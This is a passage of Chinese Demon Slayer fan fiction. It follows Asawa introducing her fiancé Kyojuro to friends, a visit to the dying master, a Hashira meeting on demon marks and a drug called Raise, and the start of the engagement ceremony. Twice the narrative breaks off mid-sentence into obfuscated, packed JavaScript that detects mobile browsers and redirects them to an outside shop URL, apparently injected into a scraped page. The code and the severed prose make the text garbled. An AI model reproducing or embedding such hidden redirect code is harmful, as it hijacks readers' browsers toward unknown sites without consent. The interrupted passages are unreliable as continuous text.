我的朋友们在这之后全部得知了我要订婚的消息。请柬送得比娱乐报纸晚了一些,家里的电话在那一天都快被打爆了,一个接着一个,刚挂完一个就拨进一个,小麻雀们纷纷询问我报道的真假,追问我究竟是怎么回事,又问我未婚夫的身份——看来那份报纸的确给大家留下了些茶余饭后谈论的话题,热闹到母亲出门交际时都被东京都的贵妇打探过——我倒没隐瞒和杏寿郎交往的事迹,但到底不在一个社交圈,且我们在一起后老是追着鬼的踪迹跑,不是在乡下就是在山林,能和我朋友们遇到的时候实在是少之又少。即使偶然有几次能在商业街和朋友遇到,那也多在饭点,大家急匆匆的,没时间停下好好交流,只是点头致意、浅浅打个招呼就分开。 我敢发誓,我的朋友里有一多半的人或许没有看清过杏寿郎的样子,剩下见过他的那些人恐怕也只知道他的模样。 我和每一个朋友道歉,并且同她们约好时间一起出来聚餐,再把杏寿郎正式介绍给她们认识。 出门前我对着镜子给自己戴上耳环。 衣裳是时新的款式,在融合现代美学的设计裁剪后,以传统日式纹样作为衣裳上的装饰。在光线下闪烁着莹润光泽的绸缎被堆叠出波纹的线条,顺着腰带直直往下流淌、散开,露出纤细的小腿。 嘉泽乐帮我梳了头发,鬓角的碎发此刻乖顺地伏着,由一枚镶嵌水晶的夹子固定在脑后,其余的都散在背后,清晰地露出我的肩颈。 耳环是母亲的,上面装饰的是深海珍珠,泛着淡淡的粉色,光泽与我的裙子相似。 我看着镜子里的自己,也能看见身后端坐的母亲正温柔地望着我。 这叫我想起那天了——刚来日本不久,我第一次和朋友们外出时的那天,那个歌剧院、那场《麦克白》、那个深邃的巷子——那天我戴着外祖母的珍珠项链出门,母亲当时的神色似乎要更担忧更恳切些,深夜太危险了,即使在东京都。但现在,她不再像那时那样困扰,而是放心不少。但那双眼睛、那双与我如出一辙的眼睛里对我所含有的爱从不曾削减,反而更显得包容。 订婚仪式的事务大多是母亲在操持,要考虑两边亲朋好友,要考虑时节天气,要把关仪式的种种需求,她向来精益求精,在这事上更是一点不敢松懈,恨不能把每一个客人的喜好忌口都摸透。实在太过用心,不过短短三两天,我看她脸上就生出些许疲惫。 我将手提包搁在一旁,不再纠结自己现在看起来是不是更好,忍不住依赖地靠到她怀里,轻声告诉她不用这么费心。 母亲放下菜品清单,这已经是拟出的第五份了,我和杏寿郎的家庭情况太复杂,来往的人员也太繁杂,母亲对于订婚仪式上的每一件东西都要求是最好的,哪怕一杯茶、一口糕点,也要考虑到日本的传统,兼顾西洋的口味,如果可以最好加点中式的特色。她摸了摸我的头发,温暖的手掌从我后脑摸到脖颈,从母亲身上传来的独属于她的令人无比安心的淡淡馨香让我感到心神安定。 好像回到了小时候,还可以无拘无束地扑在母亲怀里撒娇耍赖、躲懒不上讨厌的礼仪课。 “朝和,我的宝贝。”母亲温柔的声音是包裹我的水体,她能接受我的任何一种可能性。 她有很多话想对我说,“我的朝和,一眨眼竟然已经长得这么大了,好像昨天我们才一起坐着船回到日本,亲爱的,那天你穿了一条米黄色的连衣裙,我记得。”我将她抱得更紧。 一个母亲究竟如何看待自己的孩子长大。 我不太清楚,我有时甚至不确定自己是不是长大了,或许在父母的眼里我依然是和从前没什么区别的孩童,即使我已经能做很多很多事,能够帮着料理家族的生意、和更多人建立联系、知道爱一个人的感受、知道要如何爱一个人……甚至我已经可以直面鬼。但在母亲面前,我依旧可以什么都不会、犯错后她会帮我处理所有后续,哪怕我每天只在意衣食住行、花费大额金钱去买些华而不实的玩意儿,她看着我一天一天长大,我能感觉到一种独特的伤感也随之增长,直到现在缓慢地从她眼睛中溢出。 “妈妈,但我也永远是你的宝贝呀。”我撒娇地说道。 母亲忍俊不禁:“是的、是的!朝和永远是我的宝贝,这点永远都不会变。即使我的朝和长大了、会变成一个妻子、一个母亲,但在妈妈面前,我的朝和永远只是妈妈最心爱的宝贝。”她也用力抱住我,我们没有谈论未来——未来会发生什么呢?我要如何做一个妻子、如何做一个母亲?我要如何组建属于自己的家庭,又该如何应对家庭生活的所有事务?我和杏寿郎会像父亲和母亲那样永远恩爱吗?我们的孩子会像我还是更像杏寿郎?如果万一是个调皮鬼,我又要怎么去教育?那都是我全然未知的领域,我永远无法预测,只能走一步看一步,只是未来的日子除了有父母她们在我身后支持着我,还有杏寿郎在我身边和我一起摸索。 我并不对此感到害怕。 或许该说得更现实些,这些烦恼无论如何都是甜蜜的,在鬼没有被完全灭杀之前,即使与杏寿郎有着规划上的矛盾也显得那么无足轻重,因为我们总能在对对方的爱中找到合适的处理方案。 唯独鬼……那些该死的鬼是无论如何都不能得到包容与宽恕的。 眼看着约定的时间快到了,母亲又替我重新整理了发型。 杏寿郎前来接我,我们一起坐车去商业街与我的朋友们会面。他今天当然没有穿鬼杀队的队服,也没有穿和服。大概是我提前告诉了他自己要穿的衣裳,他特意选择了正流行的现代衣装与我搭配,挺括的衬衫穿在他身上完美显出他优越的身形,宽阔的肩膀撑起衣裳,结实的肌肉若隐若现。看到我走出门的时候,对我露出一个大大的笑容,向我打招呼。我小跑过去扑向他,有段时间没穿细跟的高跟鞋,竟然有些不适应,被他抱住时他细心地发现了这一点,始终注意着我会摔倒扭脚的可能性。 “中午好!” 杏寿郎习惯性地与我面颊相贴拥抱了会儿,我们才动身去往约定的地点。餐厅就在东京都最热闹的街道上,距离那家歌剧院很近,坐在二楼的露台可以轻易看见歌剧院端庄的全景。西洋文化入侵,从前盖着低矮木楼的街道也逐渐建立起石制楼房,风格趋近于西方,堆着装饰用的食材和更大的窗户。然后随之进入的是西式的饮食与衣着,西餐厅与西洋酒馆如雨后春笋般生出,很快就牢牢扎根在日本的土地上,伴随着西式的生活习惯融入进人们的日常生活。 我在车上和杏寿郎说明今天会出现的朋友们,都是很好相处的女孩子,出身不凡但性情品格都很优秀——若非如此,外祖父大约也不会同意我与她们来往。 杏寿郎了然地点点头。 我又问他带了日轮刀么,藏在哪里?杏寿郎捉住我探去他腰间的手,摇摇头。这是大晴天的正午。 “不要紧张。”我靠到他肩头宽慰,又伸手去摸他额间。 如果他没注意到我的窃笑,大概就会相信我的安慰是完全出自本心。可惜他注意到了,于是伸手捏了捏我的脸颊。 说实话我也很难想象杏寿郎紧张的样子,但或许就是因为难以想象,所以才更想看看他不那么游刃有余会是什么样的。毕竟他第一次正式拜访我家的时候也显得那么镇定自若。 今天的交通状况良好,汽车行驶非常顺利,我们到达的时候还没有到约定的时间,但朋友们已经都在了,正簇拥着站在门口东张西望。直到其中有人瞧见有栖川家的汽车,才爆发出一串震惊的呼声。这又和那天有些像了,没有穿和服而是都穿着洋裙的女孩子们站在一起等待着我。 随着我们逐渐走近,她们拥挤在一起不时捂着嘴唇小声交谈的声音也就慢慢息止,转而替代的是好奇地注视着被我挽着手臂的杏寿郎。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613456|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“大家好!”我向她们介绍道,“这位是炼狱杏寿郎,就是我的未婚夫啦!” 大家统一露出带着八卦的笑容,目光直直看向杏寿郎。 杏寿郎自然地向她们点头致意,又自我介绍一番。 女孩子们看看他又看看我,显然有许多话要说,我连忙招呼着大家进入餐厅,免得一直待在外头罚站。刚走两步,杏寿郎就礼貌地表示自己先行进入,朋友们立刻像深海中聚集的鱼群那样一窝蜂地凑到我身边将我包围,大家立刻叽叽喳喳地小声讨论起来,兴奋地问我杏寿郎的身份,探究我们是如何认识的,又说我不和大家说实话实在过分,该罚我请客。也有先前去赏花的时候见过杏寿郎的朋友,这会儿正好将那时杏寿郎接我的事件提起,大家聚在一起,我不知不觉也变成一只小麻雀,陷入一团热闹。 话题一个又一个层出不穷,在促狭的欢笑声中我简单透露了自己与杏寿郎的故事——当然是经过美化的版本——只说我是在学习剑道的时候与他认识的。 后面的话也就不用再细说,她们都能用自己出色的想象力补充完整。 还有几个胆大些的朋友,率真地向杏寿郎问起我们恋爱的事件,热情应接不暇,让我也因为羞涩而不觉脸红。 杏寿郎慢条斯理地应对每一个问题,回答礼貌而妥帖,但没能完美地填补她们的好奇心,于是把更多的追问扔向我,等着杏寿郎替我解围。 实际上每个月我都会预留出时间与朋友们相处,但像今天这样的热闹却从未有过。一顿午餐下来,我甚至久违地感觉到些许疲惫。在餐厅门口和她们一一道别,最后离开的高桥小姐则问起我们婚礼的打算,如果要举办日式婚礼还邀请我们去她家定制白无垢。我笑着拥抱她,告诉她婚礼暂且不着急,不过恐怕要替杏寿郎定制一身新的和服与我的振袖搭配。我们约定了去量体的时间,才与她挥手告别。 杏寿郎则一直站在我身侧协助我张罗。 送走所有人离开后我才抬头去看他,对上他温和的视线,想到方才,忍不住笑出声。 他只摸了摸我的头发:“辛苦了,朝和。” 我们约好了下午要去产屋敷家拜访主公和天音夫人,并为他们送上请柬。 虽然知道两位与辉利哉她们并不能够出席订婚仪式,但这种贯穿我们人生的喜事,无论如何都希望他们知情并渴望得到他们的祝福。 今天是一个艳阳高照的大晴天,偶有微风拂面,伴随我们穿山越岭。出发前我们换了衣裳,又带上我给辉利哉她们几个孩子准备的礼物,才相携着同去。 山野还是那些山野,在高处能远远看见东京都城市铺开的一隅,那些立体的建筑在此时成了扁平的图案,穿行的人们如同某种连贯两地的标线。人也还是那天的人,有栖川朝和与炼狱杏寿郎,他牵着我的手,我们在阳光下比先前更悠然地行走,我心中已经没有那些忐忑,只觉得安宁。 我们到的时候辉利哉和彼方已经在门口等待,看见我们后两人不约而同地行礼致意。我将礼物递给彼方,摸了摸她的发顶,跟着辉利哉前去拜访主公与天音夫人。 而状况比我们料想的要糟糕。 以至于清晰见到眼前这一切的时候,我和杏寿郎只能不可置信地对视,竟然无语凝噎。 主公睡在被褥里,被天音夫人支撑着才能坐起。只是半个月没有见,他的神色衰弱许多,连气息都变得萎靡。那些象征着诅咒的病痕肆意在他单薄的□□上攀行,将他的健康破坏殆尽,让他变得残缺无力。 但主公笑着同我们打招呼,声音还是一如既往的温和。 我同杏寿郎一起递上订婚仪式的请柬,说明了两人的安排。 接过请柬的是天音夫人。她仔细地阅读后,将绯红的请柬轻柔地放在主公的手掌之下,他轻动手指,以摩挲的动作感受着它的存在,脸上的笑容更深刻了。 “太好了。”主公大人这么说道。 “能够看到杏寿郎和朝和订婚,我非常感动。很可惜不能亲自出席你们的订婚仪式……但请接受我的祝福。”主公声音很轻,那不是轻柔,而是无力,只听着这几句话我就无以遏制地深感悲痛,眼泪因此涌上眼眶,带着我的咽喉轻轻颤抖,几乎压不住泣音。杏寿郎牵住我的手。 “杏寿郎,你是我看着长大的孩子,而朝和,虽然我们认识的时间不久,但我也同样清楚你是一个勇敢、优秀的孩子。我祝福你们婚姻幸福、未来美满,祝福你们万事顺遂。”主公剧烈咳嗽起来,那是干渴的喑哑的声音,让人感到不安与恐惧,天音夫人一边舒缓地轻轻拍打着他后背,喂他喝下小碗药液。只是说了几句话,主公就已经耗尽精力般精疲力尽。 我抽噎了下,和杏寿郎一起低伏身子,万分郑重:“感谢您的祝福,主公大人,也请您保重身体。” “愿我们前路坦途,愿鬼杀队共成此业。” 59. 会议 在一切都准备得差不多的时候,柱合会议终于召开了。 我和杏寿郎一起前去鬼杀队的当屋,然后在蝶屋分开。杏寿郎和忍一同去往开会,我则拐进蝶屋去探望炭治郎他们。 距离刀匠村被袭击已经快过去半个月了,炭治郎的身体已经好了许多,人也从大量的昏沉睡眠中清醒过来,每天只需卧床静养,等待呼吸法自然地修复身体。 我到的时候祢豆子与蝶舞的三个护理小朋友正在玩老鹰捉小鸡,她们欢笑着奔跑在阳光遍布的庭院里,身影穿过一丛又一丛的紫藤,摇曳出些许璀璨的微光。等我走进院门,祢豆子像是就贪吃的孩子看到了喜爱的食物,眼睛一亮,直直的冲我跑过来,丝毫没有刹车、大力的撞进我怀里,和我抱了个满怀。差一点我们就要一起摔倒在地上,幸好最终还是一同站稳了。 “中午好,祢豆子!今天天气也很好呢!”我拍拍她的脊背,又顺着她深色的长发从头抚摸到发尾,反复地感受着阳光在她身上晒出的温暖——那是别的任何一只鬼都无法共情的幸福。 她抬起头对上我的眼睛,那对美丽的粉色眼睛中,鬼化而诞生的皲裂般的花纹并没有因为阳光而消弭,依然牢牢占据着她的眼瞳,随着每一次眼睛的眨动,无畏地瞧着这世界,“中午、好!”祢豆子一字一顿地学着我的话,说完又朝我展露出一个喜悦的笑脸。她又用力抱住我,脑袋抵在我肩颈上,不肯松开。 我能从她的动作中体会到依赖,那当然是一种全新的、无法形容的体验,让我心底一片柔软。我也学着她再次大力地拥抱她,这是我们最近见面的日常流程,每一次都如此,借着拥抱的接触来感受对方的存在,要黏糊在一起抱个很久,最后才恋恋不舍地松开。 我没有兄弟姐妹,但很多时候在我看来,炭治郎和祢豆子就像我的弟弟和妹妹,一个很会照顾他人、很会委屈自己的让人心疼的弟弟,一个很会体谅他人、爱着这个世界的让人心疼的妹妹。我看着他们在鬼杀队的这些日日夜夜是如何摸爬滚打艰难地度过,我们同行在一条遍布荆棘的道路上,而这两个孩子已经坚定地走到最前,和大家并肩。我愿意献出自己重要的东西来保护他们。 我牵着祢豆子的手走进病房,进去时炭治郎正在大口进食,他床上摆着的小桌面放着饭团,而炭治郎正认真品尝着那两个尺寸看上去不小的饭团,并且以风卷残云般的速度把它们统统吃下。 啊…… “中午好,炭治郎……”我有些迟疑地同他打招呼,忽然觉得自己手里提着的作为慰问品的点心是如此多余,怎么感觉都不够炭治郎塞牙缝的。这孩子什么时候进化的胃口,竟然能吃这么多?甚至让我联想起蜜璃来…… “啊!朝和小姐!”炭治郎看到我后立刻元气满满地向我打起招呼,表情就和祢豆子看到我时一模一样,眼睛亮晶晶的,让人联想起圆滚滚的小狗。 我和祢豆子在他床边坐下,看到他精神不错的样子我自然高兴,而他身上那些凌乱的伤口大多也已经恢复得差不多了,只剩下额头上的伤因为担忧脑震荡而依然包着、需要复查。但说实话,有忍在,也没什么可不放心的。 “恢复得还好吗?你回到蝶屋后又昏迷了一周,可把我吓了一跳。”那不是肯定的吗?离开刀匠村的时候除了行走不便,炭治郎看起来就跟个没事人似的,说话甚至中气十足。如果不是亲眼所见他经历的战斗是多么叫人震撼,我都要先入为主地以为他这次没受什么伤。结果回到蝶屋开始正式治疗后直接昏迷过去,任谁也没想到这一下就是一周,看来呼吸法的治愈效果还是很局限。 “已经好了!请不用为我担心!”炭治郎一边大口吃着饭团,一边向我保证,不知道为什么,我总能在一些时候从他身上看到杏寿郎的影子,或许是因为我们都曾经在杏寿郎的隐蔽上见证过他的勇敢,因此不自觉学习了他所表露的特质,说话大声或者吃饭很香可能就是其中较为显眼的一些特征。 不过……“吃这么多没关系吗?”杏寿郎先前刚醒来的时候可是被要求少食过渡多观察的。 “没关系!而且蜜璃姐有跟我说要多吃一点!”炭治郎吃完了饭团,又将那杯茶水一饮而尽。而餐盘上除此之外还有一个显然是用来盛药的碗,早就已经被他喝干了。 原来是得到了蜜璃的真传,虽然蜜璃的食量一般人也望尘莫及,但大概他们是一个类型的剑士,能够快速把食物转化成身体需要的全部养分。既然如此我也不担心了,将点心盒摆放在炭治郎面前,邀请道:“那么再吃一点吧,炭治郎!吃饱了才有力气!”这句话可太蜜璃啦! 祢豆子无法进食人类的食物,但为了不让她寂寞,我给她带了别的礼物:两个布艺的小人偶。是我在街上闲逛时无意间看到一家布偶定制,便请他们以炭治郎和祢豆子两人的形象制作了两个小布偶。现在把它们送给祢豆子,哥哥会永远陪伴在妹妹身边,祢豆子一手拿着一个人偶,愣愣地盯着瞧了好一会儿才喜笑颜开地把两个布偶搂进怀里紧紧抱着。 我忍不住又摸了摸祢豆子的脑袋,才向炭治郎说明来意——邀请炭治郎和祢豆子一起参加我的订婚仪式。 仪式的时间在中午,而祢豆子外出并不会受到伤害,还能让她感受更多人类生活。即使站在我个人的角度,他们是我非常喜爱的弟弟妹妹,也是杏寿郎非常信赖的后辈,无论如何我也希望他们能来参加我们两人的订婚仪式,作为见证。 听到消息,正大口吃着三色萩饼的炭治郎忽然噎到似的大声咳嗽起来,这一突然变化让我和祢豆子都无措起来,我们手忙脚乱地替他拍打后背,又倒了新的茶水递到他嘴边。炭治郎缓了一会儿,眼睛圆睁,他就像第一次听说那样,非常不可置信地重复了我的话,满脸写着究竟怎么回事。他的思维艰难地旋转几周,最后催着他开口问道:“订婚!朝和小姐和炼狱先生吗!?” 应该没有那么不明显吧?我歪过头:“是的?”自己也不敢肯定起来。 “真是太让人惊讶了!”炭治郎感慨着,看见我茫然的表情后后知后觉反应过来自己的言辞有多么奇怪,立刻焦急地向我解释道:“是因为!朝和小姐还很年轻!本来以为不会那么早订婚的!” 看他解释得手忙脚乱,我不觉笑起来:“只是先订婚,正式的婚礼还没那么快。”说起来进度会拉快这不还得感谢炭治郎和祢豆子? 从炭治郎那里得到一定会参加的保证后,我又把视线转到隔壁床的玄弥,从刚刚起就一直在装睡以躲避聊天的样子。 “玄弥也一定会来的对吧?”我问道。 侧身躺着的少年原本似乎想往被子里钻,但动作终结在炭治郎坦率的答话上:“嗯!玄弥一定也会来的!”他猛地掀开被子坐起,怒目瞪向我们,不等他说出什么拒绝的话,我紧跟着恳求道:“拜托了玄弥!你不来的话我会觉得很遗憾的!”玄弥被我盯得一动也不动,先是耳垂再是整张脸,遍布红晕,最后他自暴自弃似的又猛地睡回去,只从被窝里瓮声瓮气传出一声“知道了”。 等待着柱合会议结束的时间,我还将善逸与伊之助的请柬交给了炭治郎,因为无法确定他们何时会结束任务归来,只能拜托暂时都会身在蝶屋的炭治郎帮忙转交。 而另一边。 房门大敞的和室内,以岩柱为首,包括炎柱、水柱、恋柱、霞柱、虫柱,甚至在先前已经决定隐退二线的音柱几位柱们正坐其中,正安静地等待着。 在寂静中时间的流逝无可捉摸,一道声音忽然打破这凝滞的氛围。“居然是我们来得最晚。”这么说着的男人从走廊中绕出——是风柱,他走在前头,后面则跟着蛇柱。两人依次步入座席按照自己的位置坐下。这也是几位柱全员到齐的一次柱合会议,因为会议召开得突然,且在刀匠村遇袭与祢豆子适应阳光这两件事后,身经百战、对鬼们相当了解的柱们几乎是统一地生出一个念头:这是改变当前局势的紧要关头。 因此即使决定隐退的音柱宇髄天元也还是决定暂缓隐退计划,出席柱合会议。 在柱的眼中,此刻的平静或许正是最后一战前吹响的号角声。 风柱不像其他柱,坐姿落拓不羁,他一坐下就问起参与了刀匠村事件的炎柱三人:“听说你们跟上弦打了一架?” 接过话题的是蜜璃,她的乐观开朗向来具有感染力,说完感受后又把话题抛向无一郎。无一郎看起来和以前不太一样了,他没再沉迷自己的世界,而是迎合蜜璃的话语,认同地点点头。但看得出来还不太习惯做表情。 风柱重重叹了口气,抱怨着自己遇不到上弦,颇有一种难觅对手的愤恨。 蛇柱则询问了三人的身体状况——当然,很显然的是三人中只有杏寿郎没受什么重伤,蜜璃与无一郎现在身上的伤口还包扎着,但比起当时,已经好了许多许多。 能够消灭两位上弦,并且保住性命,即使对于柱而言也是异常幸运的一件事。时间越到紧要关头,鬼杀队就越不能缺少柱的存在。几人就蜜璃和无一郎的身体状况做了些讨论,作为医者的忍自然关切他们恢复的速度,她想到那天为炎柱测量体温时对方卖的关子,这些天她根据相关内容寻找了一些资料,但大多记载稀少且描述模糊,让她始终搞不清细节。 正探讨,和室外缓缓走进一个人。桃粉色的和服,靛青色的羽织,雪白的长发整齐地梳在脑后,坐下的姿势优雅而美丽。“让各位久等了。今日的柱合会议,由我产屋敷天音代替产屋敷耀哉主持。”白桦树妖精面容端庄,没有丝毫神情变化,甚至没有悲伤的痕迹。两个穿着紫藤色和服的双胞胎则正坐在她身后。 “另外,家主耀哉由于病情恶化,今后已无法在诸位面前现身,衷心向各位致歉。”她低伏身体,唯独闭上眼睛的这时才能从她面容上分辨出强忍着的悲痛。她是一个多么坚强、叫人钦佩的女人。 室内随着主公病情恶化这一消息而鸦雀无声,在座无人敢相信这一事实,哪怕前几天还来拜访过的杏寿郎早已有了预感,在真正得知这事实时还是不可置信——但天音夫人绝不会以主公的身体为玩笑——众柱立刻伏身。以这样悲痛的信息作为这次柱合会议的开头,一切信息都显得那么黯淡无光。 气氛久久低沉。 天音夫人开始主持柱合会议的推进。最重要的自然是祢豆子的出现。众所周知所有鬼都渴望克服阳光这一致命缺点。身为鬼王的鬼舞辻无惨就更是如此,他只会比其他任何鬼还要拼命地想要得到祢豆子,研究她的秘密,让自己也能克服阳光,成为完美无缺的、真正凌驾于人类之上的生物。这意味着大规模的全面作战即将爆发。 而鬼杀队与鬼作战爆发的核心自然是在柱们身上。 先前在刀匠村遇袭时,与上弦之四、上弦之五分别交手的蜜璃、杏寿郎与无一郎,身上都出现过形状奇特的斑纹。在天音夫人的话语中那些斑纹似乎是异常重要的东西,它们究竟如何出现、为何出现、怎么出现,成了大家关注的问题。 斑纹。这是可以追溯到战国时代、使用起始呼吸、曾经鬼舞辻无惨逼入绝境的剑士们的东西。据传,他们身上都出现了类似鬼纹的斑纹。但也正是在那一代剑士后,鬼杀队曾因为某些原因遭到鬼舞辻无惨的疯狂报复,而导致鬼杀队元气重伤,许多能力优秀的剑士也惨死鬼的手下,几乎濒临毁灭。相关的历史也因为口耳相传逐渐断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613457|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代、模糊不清,知道的人愈发稀少。 斑纹的激发具有相当之大的难度,而知晓斑纹存在的剑士们无一不以出现斑纹为目标,正因如此,鬼杀队历史中不乏一些优秀剑士因为无法出现斑纹而黯然神伤、走入死路。在座的所有柱中,恐怕只有家族传承有历代炎柱之书的杏寿郎对此略有了解。 “只要出现一位带有斑纹之人,其周围的人身上便也会出现斑纹,如同共鸣一般。” 记录在起始呼吸使用者手札上的人只留下这样一句话。 而这一代的鬼杀队中,第一个出现斑纹的人,是灶门炭治郎。但炭治郎自己也对当时的情形了解得并不清楚,直到这次有三位柱也觉醒了斑纹,这一情况才变得可以深究。 大家的视线统一转向蜜璃。 但大家没能从蜜璃式的描述中走出来。 没有一个人听懂。 但在大家疑惑不解的注视中,因为蜜璃就是这样的孩子而坦然笑出声的杏寿郎实在显得过于悠闲了。 接过话题的是可靠的霞柱。 无一郎仔细回忆着当时的情况,那个夜里、那个充满着战斗的夜里究竟有什么异于寻常的地方,发生了什么、他的感受与想法、事后又是如何,他用简练的语言将情况一一说明,总结成几点要求:心率超过两百,体温超过39℃。 这显而易见是异常严苛的两点要求,也正是因为严苛,而构建成对于斑纹开启的筛选,能够在这两点要求下存活的剑士就能顺利开启斑纹。但比起对要求的惊讶,虫柱又一次想起刀匠村善后时她为蜜璃和无一郎诊治而记录的身体数据,还有那天炎柱同样的状况,她确信这就是真相。 天音夫人看向杏寿郎。 杏寿郎点头确认了无一郎的观点。 风柱不耐烦地嘁了声,在他看来这是非常简单的要求。 他边上坐着的水柱也因此感慨:“真羡慕你那觉得这事简单的简单头脑。”他说的是真心话,但听起来不太中听,连蛇柱的蛇都听不下去了。 时间渐晚,原本晴朗的天气也随之变幻,阳光收拢进云层之后,天幕阴沉沉地压下来,厚重的云层不曾散开,不多时就密密地下起雨。雨天总让人更容易感到伤感与烦躁,而和室之内,会议的气氛似乎也随着天气的变化跌入最低点。 既然知道了斑纹的存在与出现条件,那么理所当然地,鬼杀队众人,尤其是柱的训练方向变成了觉醒斑纹。 但天音夫人的神色没有因为大家的自觉而变得松懈,她依旧沉着,将斑纹的负面影响尽数说出:“出现斑纹者,无一例外都活不过25岁。” 25岁。 这是一个多么短暂的数字。在座所有柱们距离这个年限的位置都不再遥远,更有甚者如岩柱,他已经超过25岁。那么斑纹的开启…… “不过——”天音夫人话音一转,再次将目光投向炎柱。 对上同伴们的注视,杏寿郎淡然一笑,从衣裳中取出一管药剂。有的柱并不知道这是何物,但有的柱却对此非常了解。 “这支药剂名叫来世,是有栖川家在鬼杀队的协助下,针对鬼杀队剑士进行开发的一种特效药。”大家盯着杏寿郎的眼神都很复杂。会议开始前杏寿郎已经同所有伙伴说明了自己即将与有栖川家的小小姐订婚的消息,并且邀请大家前去参加他们的订婚仪式。大家也一直都知道朝和与他的关系,只不过陡然点破,多少让人有些忍俊不禁。杏寿郎权当作没看到大家调侃的视线,他看看澄澈的药剂,向虫柱问道:“来世的开发离不开蝴蝶的功劳,蝴蝶应该知道它的效果对吧。” “是的,杏寿郎先生在无限列车一战时正是因为注射了来世而得以存活。”虫柱向其他几位柱简单介绍,来世的药效过于凶猛,成品也较为稀少,如果不是受到什么致命伤,虫柱并不主张以来世为主要治疗手段。但在几次大战后,给受伤最为严重的柱与炭治郎疗伤时,出于保险还是使用了来世。 “我在使用来世之后伤口恢复得非常快,但对于善用呼吸法的我来说,治疗带来的后遗症也非常显著,很长一段时间我无法使用呼吸法。”杏寿郎尽量言简意赅,“从刀匠村回来之后,我察觉到斑纹的出现对于身体造成的变化,因此去做了检查。” “检查结果表明,身体中残留的来世药性在抗拒斑纹的出现。或者该说,是在治愈斑纹所带来的对于身体的损耗。”杏寿郎平静地说出这段时间他的发现。 这柳暗花明又一村的转变让大家情绪不断跌宕。但来世的效用夸张到令人深感惊奇:真有那么厉害? “具体的话,之后还要麻烦蝴蝶对我们注射过来世的几人进行一次检查。”杏寿郎向虫柱示意,“不过来世的治愈始终存在着后遗症,我想,最终结果可能是无法使用呼吸法。所以,还需要寻找两者之间的平衡点。” 虫柱应下此事,这本来也是她的研究方法,如果能够改变斑纹开启者短寿的命运,她一定会去做的。 天音夫人摇摇头,“这已经是最好的消息了。”她温柔的声音稍作停顿,思考些许时间后又问道:“斑纹的事,朝和可知情?” 杏寿郎摇摇头。虽然对于来世在斑纹上的效果抱有信心,但他还是打算在更明了的调查结果出来后再和朝和说,免得朝和担心。 大家对于这点也很能理解,毕竟两人刚准备订婚,如果猝然得知未婚夫活不过25岁,任谁心里都不好受。 而岩柱……他也对此感到好奇。他的年龄已超过25岁。倘若斑纹拥有者活不过25岁。那么届时他又会如何呢?如果来世对于斑纹的损伤有着治愈效果,那么在他身上体现的后遗症又会是什么呢…… 60. 缔结 在难得的安宁中时间流逝得飞快,眨眼就到了订婚的日子。 母亲说今天是近段时间天气最好的一天,即使昨夜看着显出几分阴沉,但母亲一大早上就起床操持时惊喜地发现是个艳阳高照的大晴天。 我也很早就起床准备,不用嘉泽乐催促。她到房间里准备叫我起床时,我已经坐在书桌前写信。这是我忽然有的一个想法,前一天外祖父已经带着我们前去给外祖母扫过墓,并且告知了她我将要订婚的消息。但不知为何,我总觉得没有将自己的想法传递过去,于是忍不住又坐下对着外祖母留下的日轮刀给她写下一封信。很简单的开头,想写的话明明有那么多,却不知为何三两句后便接不下去。 我正拿着笔思考,嘉泽乐带着几个女仆捧着今天要穿的衣裳走入房间。 我向她看去,那件在女仆手中优雅垂落的和服精美非凡,比我从前任何一件和服都要华丽庄重,那种与众不同的意义也就随之渗透出来。我放下笔,暂停这封写到一半的信,朝着她们走去,配合着她们的动作将自己装点成焕然一新的样子——原本平静的心绪随着装扮的完成逐渐泛起波澜,呼吸在胸口微微凝滞,心跳声有一阵吵得不得了。我撇开视线,不敢看镜中的自己,不知道是羞涩姗姗来迟,还是对于未知隐隐含有担忧。 庭院里不再寂静,随着时间过去,越来越多的宾客纷纷前来。我似乎听见鬼杀队的成员们欢笑的声音。 在日本,订婚对于新人来说更像是两家人之间私密的行动,往往不需要什么见证,而只是两家人坐在一起商谈婚礼。但考虑到有栖川家的情况,订婚的流程最终在遵循传统的前提下参考了外祖父的意见。在正午时从炼狱家带着订婚的礼物与信物送到有栖川家,仪式则在有栖川家进行。 说是仪式,其实也只是公开地得到双方家长的祝福。因为鬼杀队行动具有不确定性,我和杏寿郎没办法定下婚礼的具体时间,告知来宾婚礼日期的步骤也因此无法达成。大多数的客人或许也并非是为了祝福我们而来,倒不如说是利益驱使。所以订婚仪式最终只采用了半天,剩下晚餐时间我和杏寿郎安排与鬼杀队的朋友们一起聚餐。恰逢之后鬼杀队将安排训练活动,也算是柱们在最后的休闲时间里进行的玩乐。 和乐的演奏已经响起,炼狱家已经到达。 我被内心的激动催促着站起身,却又忍不住犹豫地站定,我当然想好了要和炼狱杏寿郎一起度过这一生,但又无法控制自己去反复想象未来的每一天。 “小姐。”嘉泽乐轻声唤我。 她扶着我走出卧室,门口等待着父亲和母亲。在他们的笑容中无法掩饰的微红眼眶里,我看出泛滥的晶莹。他们走向我,在我两旁站定,陪着我走向庭院中心,走向等待着的炼狱杏寿郎,走向全新的人生阶段。 杏寿郎向我伸出手,他脸上展露的笑容比我曾见过的阳光都要璀璨。我慢慢将手放在他的手心,被他稳稳握住,只有这时候我能够同感的体会到来源于他的那份紧张,我们同频地轻轻颤抖,再一同将这份紧张融化为相同的坚定。 